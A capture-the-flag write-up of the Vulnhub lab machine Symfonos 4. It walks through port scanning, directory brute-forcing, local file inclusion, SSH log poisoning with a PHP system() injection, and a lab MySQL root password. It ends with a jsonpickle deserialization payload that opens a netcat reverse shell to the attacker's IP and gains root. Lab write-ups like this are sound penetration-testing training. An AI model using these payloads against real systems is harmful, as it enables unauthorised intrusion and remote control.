- Published on
Vulnhub - Symfonos 4
Today, We are going to pwn Symfonos 4 by Zayotic from Vulnhub
Description:
OSCP-like Intermediate real life based machine designed to teach people the importance of trying harder.
Download Link : https://www.vulnhub.com/entry/symfonos-4,347/
Lets Begin with our Initial Scan
Nmap Scan Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
| 256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_ 256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:8C:D3:8B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne
HTTP:
Normal webpage with an image like always.
Since there is no other interesting Ports Open, I started Gobuster on the webpage.
Gobuster Results:
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.1.136
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
2020/03/12 19:39:13 Starting gobuster
===============================================================
/index.html (Status: 200)
/css (Status: 301)
/manual (Status: 301)
/js (Status: 301)
/javascript (Status: 301)
/sea.php (Status: 302)
/atlantis.php (Status: 200)
/server-status (Status: 403)
/gods (Status: 301)
===============================================================
2020/03/12 19:41:23 Finished
===============================================================
/gods
Downloaded all log files to my machine.br/
hades.log
Hades was the god of the underworld and the name eventually came to also describe the home of the dead as well. He was the oldest male child of Cronus and Rhea. Hades and his brothers Zeus and Poseidon defeated their father and the Titans to end their reign, claiming rulership over the cosmos.
poseidon.log
Poseidon was the god of the sea, earthquakes and horses. Although he was officially one of the supreme gods of Mount Olympus, he spent most of his time in his watery domain. Poseidon was brother to Zeus and Hades. These three gods divided up creation.
zeus.log
Zeus is the god of the sky, lightning and thunder in Ancient Greek religion and myth, and king of the gods on Mount Olympus. Zeus is the sixth child of Kronos and Rhea, king and queen of the Titans.
/atlantis.php
/sea.php
Whenever I open /sea.php
it redirects to /atlantis.php
. Lets capture the request in burp.
302 Found
which is redirection, We can stop a redirection using burp.
All we need to do is change 302 Found
to 200 Ok
For that open Proxy -> Options -> Match and Replace
.
Now If I visit /sea.php
it displays a new page.
So If I select a GOD the url changes to /sea.php?file=hades
maybe Local File Inclusion.
But I can't view /etc/passwd
so I searched for any log files and I got /var/log/auth
We dont need to represent .log
because we already saw those poseidon.log, zeus.log and hades.log
in /gods
with extension but in /sea.php
it shows the same file even without the extensions.
When seeing those Log files it shows OpenSSH
so we can do SSH Log Poisoning
Reference : https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
ssh '[?php system($_GET['c']); ?](?php system($_GET['c']); ?)'@192.168.1.136
Now its injected, Time to get reverse shell.
When checking /var/www/html/atlantis.php
found mysql
credentials.
root : yVzyRGw3cG2Uyt2r
I logged with those and got admin hash.br/
MySql Commands: http://g2pc1.bu.edu/~qzpeng/manual/MySQL%20Commands.htm
I tried cracking the hash but I can't. So I skipped that and started looking for other things.
I started looking around in the directories and found /opt/code
I found a python code. I came to know its jsonpickle
so it may be running on the background.
Uploaded My Enumeration Script and Found this
- Port 3306 - MySQL
- Port 8080 - Webpage (Maybe)
We can’t see port 8080
directly so We need to do Port Forward by doing this we can access the webpage from our machine.
I used socat
method for port forwarding. We can also use SSH
interactive shell for port forwarding too. (https://www.cyberciti.biz/faq/linux-unix-tcp-port-forwarding/)
socat TCP-LISTEN:8081,fork TCP:127.0.0.1:8080
Now I can visit http://192.168.1.136:8081
, It displays this page
When I click the Main page it directs to
But 192.168.1.136:8081/whoami
is suspecious, So I intercept the request in Burp
username
looks like base64encoded so I decoded that
So this is the thing we saw in /opt/code
Later I found this article
So I did some changes in the string and encoded this to base64.
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["/usr/bin/nc -e /bin/bash 192.168.1.103 1234"]}, null, null, null]}
Gave that base64 encoded to username
and started my Listener and got shell.
I'm Root!!
!